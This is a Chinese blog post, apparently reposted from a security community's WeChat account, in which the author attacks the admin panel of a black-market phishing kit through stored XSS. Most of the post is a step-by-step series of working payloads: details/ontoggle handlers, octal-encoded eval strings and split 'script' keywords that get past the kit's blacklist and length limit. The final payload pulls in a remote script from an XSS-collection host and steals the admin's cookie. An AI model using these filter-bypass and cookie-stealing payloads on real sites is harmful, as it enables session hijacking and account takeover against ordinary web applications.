攻破黑市最流行的钓鱼网站

  • A+
所属分类:安全文章

攻破黑市最流行的钓鱼网站

        这种类型的钓鱼网站最少有上百个了~我风在指尖今天要为民除害。自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究。

钓鱼站是这样的

攻破黑市最流行的钓鱼网站


        看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS。

过滤xss 脚本如下

攻破黑市最流行的钓鱼网站

攻破黑市最流行的钓鱼网站


        我们可以看到,能过滤的事件基本上都被对方过滤了。但是,像这种黑名单肯定都有不完善的地方。

<details open="" ontoggle=alert``>

        没错,他没有过滤ontoggle事件并且也没过滤eval函数,那么我们可以构造恶意代码、最常用的写上。

攻破黑市最流行的钓鱼网站

</TD><details open ontoggle=eval("141154145162164140140")>

        </Td> 是闭合标签,这里我们用了js8编码141154145162164140140 就是alert``转换后的代码放入到对面查看试试 然后我们伪造成被钓鱼者,在钓鱼页面提交数据,把我们的payload插入到对方的 p12345变量中。

攻破黑市最流行的钓鱼网站


        然后我们进入到后台查看,却没有弹窗,这是为什么呢?

攻破黑市最流行的钓鱼网站


对其->右击->使用firebug 查看元素 看看为什么不能弹窗

攻破黑市最流行的钓鱼网站


对比查看


完整的代码

</TD><details open ontoggle=eval("141154145162164140140")>

过滤后的代码

<details open=""141154145162164140140")">  </details>

把 过滤了 那么我们加两重绕过试试

</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")>

这段代码插进去试试看

攻破黑市最流行的钓鱼网站


攻破黑市最流行的钓鱼网站


        成功弹窗,现在我们可以尝试 引用自己站点的代码了。

源代码应该为

</TD><details open ontoggle=eval(var s=document.createElement('script');s.src='http://xss.tv/XA';document.body.appendChild(s);)>

直接放上去是不行的,我们要对其编码,使用JS8编码

</TD><details open ontoggle=eval("1661411624016375144157143165155145156164561431621451411641451051541451551451561645047163143162151160164475173163561631621437547150164164160725757170163163561641665713010147731441571431651551451561645614215714417156141160160145156144103150151154144501635173")>

然后把改成\ 绕过对方的过滤规则

</TD><details open ontoggle=eval("\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73")>

        但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入。

那么只能不断的裁剪,不编码最终代码为

<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

是闭合掉前面的标签

攻破黑市最流行的钓鱼网站

<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

        是引用我们XSS站点的代码,对方没有过滤document,只过滤了script。

现在我们插入试试

依然没有成功执行,在继续看看对方的源码

攻破黑市最流行的钓鱼网站


将其复制出来,看看到底是什么原因

攻破黑市最流行的钓鱼网站


        首先script标签被打乱了,并且多了个” 号,这很好绕过。前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码。

我们再继续构造,把script转换成8进制,并且加上两个\ 绕过对方过滤规则

"<details/open/ontoggle=document.body.appendChild(document.createElement('\163\143\162\151\160\164')).src='http://www.baidu.com'>

把script转换成JS8进制编码

把所有的” 号换成’ 号

攻破黑市最流行的钓鱼网站


这样构造

结果后台没有存储任何数据

攻破黑市最流行的钓鱼网站


        后来才知道,默认输入’单引号会被过滤,我们只能在’单引号前面加上。

最终的代码就是

"<details/open/ontoggle=document.body.appendChild(document.createElement('\163\143\162\151\160\164')).src='http://xss.sssie.com/FMD27h'>

攻破黑市最流行的钓鱼网站


然后自己进入后台查看 

攻破黑市最流行的钓鱼网站


拿到cookie

攻破黑市最流行的钓鱼网站

本文始发于微信公众号(T00ls):攻破黑市最流行的钓鱼网站

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: